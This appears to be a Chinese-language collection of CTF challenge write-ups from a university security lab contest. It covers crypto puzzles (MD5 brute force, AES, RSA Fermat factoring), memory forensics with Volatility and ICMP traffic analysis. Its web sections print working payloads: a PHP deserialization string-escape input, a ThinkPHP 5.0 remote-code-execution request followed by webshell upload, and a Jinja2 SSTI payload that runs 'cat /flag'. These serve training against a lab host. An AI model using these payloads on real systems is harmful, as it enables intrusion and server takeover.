MD5(Message Digest Algorithm 5)是一种哈希函数,主要用于对任意长度的数据进行不可逆的加密和摘要生成。它将输入数据通过计算生成一个固定长度(128位)的唯一摘要值,该摘要值通常以16进制表示。
题目所给内容中:MW对应的是不完整明文,#号后的内容为不完整目标密文,使用python中的MD5模块(在python3中使用hashlib模块进行md5操作)来对明文进行加密,加密后的密文为flag。
解题思路是使用python脚本对不完全的明文内容进行列举加密,得到的一系列md5值跟题目给出的目标md5值进行匹配,脚本如下:
import hashlib
for i in range(65, 122):
for j in range(65, 122):
for k in range(65, 122):
for l in range(65, 122): # 使用for循环逐个尝试所有的字母,chr(i)返回值是当前整数对应的 ASCII 字符。
m = hashlib.md5() # 获取一个md5加密算法对象
m.update(str('Python_MD5' + chr(i)+ chr(j)+ chr(k)+ chr(l) ).encode('utf-8')) # 指定需要加密的字符串
des = m.hexdigest() # 进行md5加密
if "ca5c8967fce365cd2e79ba086d" in des : # 如果得到的密文和我们预期的密文相同,输出
print('Python_MD5' + chr(i)+ chr(j)+ chr(k)+ chr(l))
print('flag{'+des+'}')
这题只需要读懂题,剩下的只要会写脚本就行。
阅读源码,当中有AES的加密信息和加密规则,密钥key是AES算法实现加密和解密的根本。对称加密算法之所以对称,是因为这类算法对明文的加密和解密需要使用同一个密钥。我们首先要寻找秘钥。
题目所给的文本是Morse密码,发现A是dash format,B是dot format,因为换行符是用来分隔加密内容的,可以将他们全部替换成/,即在16进制编辑器中替换全部0A为2F:
使用这个工具:CaptfEncoder v2 进行Morse密码解密,即可得到AES的key为:CURRY
通过加密规则得到解密规则,把得到的秘钥放进去就可以得到flag:
脚本如下:
import base64
from Crypto.Cipher import AES
def aes_decrypt(key, encrypted_text):
key_bytes = key.encode('utf-8')
key_bytes += b'\x00' * (16 - len(key_bytes) % 16)
aes = AES.new(key_bytes, AES.MODE_ECB)
encrypted_bytes = base64.b64decode(encrypted_text.encode('utf-8'))
decrypted_bytes = aes.decrypt(encrypted_bytes).rstrip(b'\x00')
return decrypted_bytes.decode('utf-8')
key = 'CURRY'
encrypted_text = 'mtIeCJMwg+YZ80NdXkp+hTxjwQvTlWy2fyrFBrTn+LdeUwufsDn0Bn3EHD1wT5KB'
decrypted_text = aes_decrypt(key, encrypted_text)
print(decrypted_text)
此题解决。
RSA算法的基础就是对于两个大质数的乘积进行质因数分解是非常慢的。比如对于一个300位的十进制数字进行质因数分解,普通电脑需要上百万年时间。
但是如果这两个大质数比较接近,那使用费马质数分解就不需要几百万年了。费马质因数分解算法,就是不停地循环尝试,找到两个数。
参考脚本,将文件放到脚本的同一目录下就可以运行得到flag:
import libnum
import gmpy2
from Crypto.PublicKey import RSA
def isqrt(n):
x = n
y = (x + n // x) // 2
while y < x:
x = y
y = (x + n // x) // 2
return x
def fermat(n, verbose=True):
a = isqrt(n) # int(ceil(n**0.5))
b2 = a*a - n
b = isqrt(n) # int(b2**0.5)
count = 0
while b*b != b2:
# if verbose:
# print('Trying: a=%s b2=%s b=%s' % (a, b2, b))
a = a + 1
b2 = a*a - n
b = isqrt(b2) # int(b2**0.5)
count += 1
p=a+b
q=a-b
assert n == p * q
with open("pub.key","rb") as f:
key = RSA.import_key(f.read())
n=key.n
e=key.e
with open("m","rb") as f:
c=f.read()
c=libnum.s2n(c)
n1=fermat(n)
p=n1[0]
q=n1[1]
phi_n=(p-1)*(q-1)
d=libnum.invmod(e,phi_n)
m=pow(c,d,n)
print(m)
print(libnum.n2s(int(m)).decode())
web签到题目,将flag编成16进制(HEX编码)拆分藏进了10000页网页中去了,将他们找出来拼凑起来解码就得到flag了,用bp抓包进行爆破可行,也可以写一个脚本
脚本可以参考下面这个:
import requests
from bs4 import BeautifulSoup
base_url = "http://192.168.31.60:8081/page/page{}.html"
h1_content = ""
for i in range(1, 10001):
url = base_url.format(i)
response = requests.get(url)
if response.status_code == 200:
soup = BeautifulSoup(response.text, "html.parser")
h1_tags = soup.find_all("h1")
new_content = "".join(tag.text.strip() for tag in h1_tags)
if new_content != h1_content:
h1_content = new_content
print(h1_content.strip())
将爬取到的HEX内容进行解码就是flag。
代码审计,给1传参,满足password的值为yunxi,那么反序列化前就会执行__wakeup函数,从而得到flag.php,但是password的值被定死为1,利用PHP反序列化的字符逃逸:
<?php
error_reporting(0);
highlight_file(__file__);
class a
{
public $uname;
public $password;
public function __construct($uname,$password)
{
$this->uname=$uname;
$this->password=$password;
}
public function __wakeup()
{
if($this->password==='yunxi')
{
include('flag.php');
echo $flag;
}
else
{
echo 'wrong password';
}
}
}
function filter($string){
return str_replace('ctf','hello1',$string);
}
$uname=$_GET[1];
$password=1;
$ser=filter(serialize(new a($uname,$password)));
$test=unserialize($ser);
?>
wrong password
第一次接触,先了解一下它:PHP反序列化字符串逃逸
此类题目的本质就是改变序列化字符串的长度,导致反序列化漏洞
此类题有两个共同点:
把源码扒下来在本地phpstudy调试一下:
理想序列化:O:1:"a":2:{s:5:"uname";i:1;s:8:"password";s:5:"yunxi";}
现实序列化:O:1:"a":2:{s:5:"uname";s:32:"hello1";s:8:"password";s:5:"yunxi"}";s:8:"password";i:1;}
需要构造字符逃逸";s:8:"password";s:5:"yunxi";}
闭合前面的"、{,让后面的password=1无法被提取。
";s:8:"password";s:5:"yunxi";}
这一串字符串长度为30,存在str_replace
将“ctf”替换成“hello1”,使字符串长度增加3:
function filter($string){
return str_replace('ctf','hello1',$string);
}
写10个“ctf”就可以构造30字符:
ctfctfctfctfctfctfctfctfctfctf";s:8:"password";s:5:"yunxi";}
得到flag:
在网上搜索thinkphp 5.0漏洞复现可以找到复现教程,是一个rce(远程代码执行)的漏洞。
burpsuite抓包之后改请求方式为POST,url后接入/index.php?s=captch
,传入参数为
"_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=pwd"
可以写phpinfo测试:
echo "" > info.php
成功:
写马(密码:aaa):
echo '' > shell.php
使用蚁剑连接,
url地址:http://192.168.31.60:8084/shell.php
连接密码:aaa
连接成功,根目录下发现flag:
注意审题,ssti模板注入,同时根据提示"Give Baby for me please!",尝试传参Baby。SSTI就是服务器端模板注入(Server-Side Template Injection),实际上也是一种注入漏洞,例如:{{}}在Jinja2中作为变量包裹标识符,Jinja2在渲染的时候会把{{}}包裹的内容当做变量解析替换。比如{{1+1}}会被解析成2。如此一来就可以实现如同sql注入一样的注入漏洞。这里判断出来是jinja2模板:
传参cat /flag 直接查看flag:
?Baby={{config.__class__.__init__.__globals__[%27os%27].popen(%27cat%20/flag%27).read()}}
成功获得flag:
感谢@22级某位同学供题,太棒了!
解压密码:Th1s_1s_n0t_7he_6ight_P0ssw6rd
这是某某同学的电脑,她今年大一加入了云曦实验室并成为了预备成员。这位同学经常摸鱼被师兄师姐训斥说:"你怎么摸得下去,但最近这位同学一星期摸鱼的时间非常之长,签到时长甚至不够5小时,这令师兄非常生气。于是一位师兄悄悄的植入了一个木马并在后台获取了这位同学电脑的内存信息。由于师兄也是个懒于是叫你来找一下师兄想要的这位同学电脑的信息。作为忠诚、责任、奉献精神熏陶下的师弟师妹们肯定不是因为要找到flag,一定是热心想帮师兄来看这位同学的电脑内存信息吧。电脑里面没有奇奇怪怪的东西,不要乱翻浪费时间
内存取证-1
共3题,第1题做出来再给你第2大题和第3大题的题目,哼哼
1.这位同学的电脑用户名叫什么(即C:\Users{name})
2.最后一次运行计算器的时间?(格式为yyyy-mm-dd_hh:mm:ss,注意冒号为英文冒号)
flag格式为flag{xxx} xxx为md5(答案一_答案二),例如答案一为hacker,答案二为2023-06-26_07:00:55,xxx为hacker_2023-06-26_07:00:55md5加密后的值3ae0d7baa880f348ae91a0af8ee68cc
解题工具:
内存取证工具:volatility,下载,解压后在主目录下的地址栏中输入cmd打开cmd运行程序,建议像这样把名字改简单点:
用命令imageinfo查看镜像,查看一下profile是啥:
volatility -f who.raw imageinfo
然后查看桌面,就可以看到这位同学的电脑用户名信息:
volatility -f who.raw --profile=Win7SP1x64 filescan |findstr "Desktop"
这位同学的名字就是JiaJia。
最后一次运行计算器的时间,我们可以使用timeliner插件从多个位置来搜集系统的活动信息,把得到的存到txt里:
volatility -f who.raw --profile=Win7SP1x64 timeliner >time.txt
打开文本文档,搜索calc:
2021-12-10 12:15:47 UTC+0000还没结束,UTC+0000是国际时间,需要转换为我们的东八区,在这个国际时间的基础上加8小时,就得到正确 时间:2021-12-10_20:15:47,flag就应该是这一串内容的md5值:
JiaJia_2021-12-10_20:15:47
1.这位同学使用了一款聊天软件,请问此软件的版本号为?
2.这位同学在网页上登录了自己的邮箱,请问这位同学的邮箱是?
例如版本号为10.9.331,邮箱为[email protected],xxx为[email protected]
聊天软件可能在桌面有快捷方式,所以找下Desktop:
volatility -f who.raw --profile=Win7SP1x64 filescan | findstr Desktop
Telegram.exe:
使用dumpfiles命令导出:
volatility -f who.raw --profile=Win7SP1x64 dumpfiles -Q 0x000000013fde26a0 -D ./
导出的文件更改后缀成exe可以看版本信息:
接下来是邮箱,这位同学在网页上登录了自己的邮箱,先查看浏览器历史记录:
发现呢并没有显示,因为他登录了网页,所以使用screenshot,网页的title很有可能会显示:
volatility -f who.raw --profile=Win7SP1x64 screenshot --dump-dir ./
[email protected]的MD5值就是flag。
1.这位同学最后一次运行固定在任务栏的google chrome的时间(格式为yyyy-mm-dd_hh:mm:ss,注意冒号为英文冒号)
2.这位同学解压了从chrome下载了一个压缩文件,此文件的相关内容信息已经写入了到环境中,请问文件的内容是?
例如时间为2023-01-17_20:28:17,内容为part2,xxx为2023-01-17_20:28:17_part2
跟取证-1一样的,搜索chrome,得出最后一次运行的时间,加上8小时,就是:
2021-12-10_20:28:43
这位同学解压了从chrome下载的一个压缩文件,此文件的相关内容信息已经写入了到环境中,需要找文件的内容,用显示环境变量的指令envars,内容写进envars.txt:
volatility -f who.raw --profile=Win7SP1x64 envars > envars.txt
搜索压缩文件rar就找到了:
2021-12-10_20:28:43_Th1s_i5_Ur_P5wd的MD5值作flag。
添加文件后缀.pcapng,修复pcapng文件头标识:
打开正常流量包,分析过滤出icmp协议的流量包,发现重复流量包,过滤出icmp类型为8的流量:
icmp.type==8
手动提取每条流量的长度值,这是经过ASCII编码的flag信息。提取后经过ASCII转换为字符信息。将字母进行大小写转换:
ZmxhZ3tldTY1OG84MW8yMTl1aXd9
↓
flag{eu658o81o219uiw}